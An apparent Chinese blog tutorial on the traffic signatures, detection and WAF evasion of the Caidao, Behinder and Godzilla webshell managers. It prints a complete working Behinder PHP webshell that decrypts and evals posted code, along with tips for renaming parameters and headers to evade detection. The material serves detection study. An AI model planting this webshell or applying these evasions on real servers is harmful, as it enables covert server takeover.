WAF攻防-菜刀&冰蝎&哥斯拉&流量通讯&特征绕过&检测反制&感知

使用Proxifier进行流量转发至Burp抓包分析(使用Wireshake也可以)

菜刀-流量&绕过&特征&检测

这里演示PHP Webshell

特征

1、版本
2011
在这里插入图片描述
2014

在这里插入图片描述
PHP chr() 函数 :根据十进制代码输出ASCII字符(详见ASCII码表)
在这里插入图片描述
2016
在这里插入图片描述
尝试写入文件,抓包分析
在这里插入图片描述
数据包流量特征:
1,请求包中:ua头为百度,火狐
2,请求体中存在eavl,base64等特征字符
3,请求体中传递的payload为base64编码,并且存在固定的base64编码段

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

绕过

1.有少数时候eval方法会被assert方法替代。	#函数替换
2.$_POST也会被$_GET$_REQUEST替代。	
3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。	#更改默认参数名称

检测

针对于菜刀特征的正则表达式

冰蝎3-流量&绕过&特征&检测

面试必问的,别问我怎么知道的
冰蝎利用了服务器端的脚本语言加密功能,通讯的过程中,
消息体内容采用 AES 加密,基于特征值检测的安全产品无法查出

特征

密钥使用连接密码的md5结果的前16位 如果对方使用的默认密码rebeyond,那么密钥就是e45e329feb5d925b,那么这也算是一个特征
在这里插入图片描述
冰蝎内置UA头
在这里插入图片描述

    public static String[] userAgents = new String[]{"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)", "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"};

以及初始化请求头部(这个要根据自己反编译的冰蝎版本来看,可能自己使用的已经是别人‘魔改’后的)
在这里插入图片描述

    private void initHeaders() {
        this.currentHeaders.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");	
        this.currentHeaders.put("Accept-Encoding", "gzip, deflate, br");
        this.currentHeaders.put("Accept-Language", "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7");
        if (this.currentType.equals("php")) {
            this.currentHeaders.put("Content-type", "application/x-www-form-urlencoded");
        } else if (this.currentType.equals("aspx")) {
            this.currentHeaders.put("Content-Type", "application/octet-stream");
        } else if (this.currentType.equals("jsp")) {
            this.currentHeaders.put("Content-Type", "application/octet-stream");
        }

        this.currentHeaders.put("User-Agent", this.getCurrentUserAgent());	
        if (((String)this.currentHeaders.get("User-Agent")).toLowerCase().indexOf("firefox") >= 0) {
            this.currentHeaders.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
            this.currentHeaders.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
        }

        this.currentHeaders.put("Referer", this.getReferer());
    }
<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b";		#连接密码(rebeyond)32位md5前16位
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

连接webshell后抓包解密(偏移量和密钥都是可以二次修改的,所以增加了检测的难度)
在这里插入图片描述

通讯过程

以代码Key为密匙的AES加密解密过程
在这里插入图片描述

检测

User-agent:代码中定义
Pragma: no-cache
Content-Type:application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

绕过

二次魔改,修改默认header设置

哥斯拉-流量&绕过&特征&检测

特征

在这里插入图片描述
网上有哥斯拉解密异或的脚本……

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: PHPSESSID=rut2a51prso470jvfe2q502o44;  cookie最后面存在一个";"

在这里插入图片描述

Other

正则匹配 简单 容易被绕过 (加密 编码 分段)
机器语言
行为分析

入侵检测 IDS HIDS

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值